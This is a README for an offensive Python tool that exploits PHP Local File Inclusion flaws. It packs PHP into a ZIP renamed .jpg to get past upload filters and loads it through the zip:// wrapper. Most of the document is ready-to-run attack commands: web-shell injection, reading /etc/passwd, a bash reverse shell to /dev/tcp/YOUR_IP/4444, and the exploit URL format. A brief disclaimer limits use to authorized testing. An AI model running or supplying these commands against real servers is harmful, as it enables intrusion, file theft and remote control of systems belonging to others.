LFI Zip Exploit Tool

A Python tool to exploit LFI (Local File Inclusion) vulnerabilities using ZIP files with .jpg extension to bypass file filters.

Description

This tool automates the LFI exploitation process by:

1. Creating a malicious PHP file
2. Compressing it into a ZIP file
3. Renaming it with a .jpg extension to bypass filters
4. Accessing the payload via the zip:// wrapper in LFI attacks

Installation

Prerequisites

• Python 3.6+
• requests module

Dependencies Installation

pip3 install requests

Usage

Basic Syntax

python3 exploit.py [OPTIONS]

Main Options

Option	Description
-u, --url	Target URL
-p, --parameter	LFI parameter name (without ? or =)
-c, --code	PHP code to inject
-f, --file	PHP file to use instead of inline code
--php-name	PHP file name (default: a.php)
--jpg-name	Custom name for JPG file
--upload-path	Upload path on target server (default: tmp/upload)
--payload-name	Payload file name inside zip
-n, --upload-name	Uploaded file name for access
--create-only	Only create payload files
--access-only	Only access existing payload
-v, --verbose	Verbose output

Usage Examples

1. Full Exploitation

# Basic exploitation with phpinfo()
python3 exploit.py -u http://target.com/page.php -p page -c '<?php phpinfo(); ?>'

# Interactive shell
python3 exploit.py -u http://target.com/page.php -p page -c '<?php system($_GET["cmd"]); ?>'

# File reading
python3 exploit.py -u http://target.com/page.php -p page -c '<?php echo file_get_contents("/etc/passwd"); ?>'

2. Payload Creation Only

# Create files without exploiting
python3 exploit.py --create-only -c '<?php system($_GET["cmd"]); ?>' --php-name shell.php --jpg-name backdoor

# Use existing PHP file
python3 exploit.py --create-only -f my_payload.php --jpg-name custom_name

3. Access Existing Payload

# Access already uploaded file
python3 exploit.py -u http://target.com/page.php -p page --access-only -n uploaded_file.jpg --payload-name shell.php

# With custom upload path
python3 exploit.py -u http://target.com/page.php -p page --access-only -n backdoor.jpg --upload-path /var/www/uploads --payload-name shell.php

4. Advanced Examples

# With custom filename
python3 exploit.py -u http://target.com/vulnerable.php -p file -c '<?php echo "Pwned!"; ?>' --php-name pwn.php --jpg-name innocent_image

File Structure

LFI-zip-exploit/
├── exploit.py          # Main script
├── README.md          # This file
└── temp/              # Temporary folder (auto-created)
    ├── a.php          # Generated PHP file
    ├── a.zip          # ZIP archive
    └── a.jpg          # Final file with .jpg extension

How It Works

1. PHP Payload Creation: Malicious PHP code is written to a file
2. ZIP Compression: The PHP file is compressed into a ZIP archive
3. JPG Renaming: The ZIP archive is renamed with .jpg extension to bypass filters
4. Upload: The .jpg file must be uploaded to the target server
5. LFI Exploitation: Using the zip:// wrapper to access PHP inside the archive

LFI URL Format

http://target.com/page.php?parameter=zip://path/to/uploaded/file.jpg%23payload.php

Where:

• path/to/uploaded/file.jpg is the path to the renamed ZIP file
• %23 is the URL encoding of #
• payload.php is the PHP file name inside the archive

Typical Use Cases

1. Reconnaissance

python3 exploit.py -u http://target.com/page.php -p file -c '<?php phpinfo(); ?>'

2. System Enumeration

python3 exploit.py -u http://target.com/page.php -p file -c '<?php echo file_get_contents("/etc/passwd"); ?>'

3. Interactive Shell

python3 exploit.py -u http://target.com/page.php -p file -c '<?php system($_GET["cmd"]); ?>'
# Then access: http://target.com/page.php?file=zip://tmp/upload/a.jpg%23a.php&cmd=ls

4. Reverse Shell

python3 exploit.py -u http://target.com/page.php -p file -c '<?php shell_exec("bash -i >& /dev/tcp/YOUR_IP/4444 0>&1"); ?>'

Limitations and Bypasses

File Filters

• The tool automatically renames to .jpg to bypass extension filters
• For other allowed extensions, use --jpg-name with desired extension

Upload Paths

• Modify --upload-path according to target server configuration
• Common paths: tmp/upload, /var/www/uploads, uploads, files

File Size

• Some servers limit upload sizes
• Compressed ZIP is usually smaller than original PHP

Security and Ethics

⚠️ Warning: This tool is intended for educational purposes and authorized penetration testing only. Malicious use is prohibited and may be illegal.

Responsible Use

• Use only on your own systems or with explicit authorization
• Respect local and international laws
• Document your tests as part of security audits

Debug

Use the -v option for more information:

python3 exploit.py -v -u http://target.com/page.php -p file -c '<?php phpinfo(); ?>'

Contributing

Contributions are welcome! Feel free to:

• Report bugs
• Suggest improvements
• Add new features

License

This project is for educational purposes. Use responsibly and legally.

Resources

• OWASP - Local File Inclusion
• PHP Wrappers
• Zip Wrapper Documentation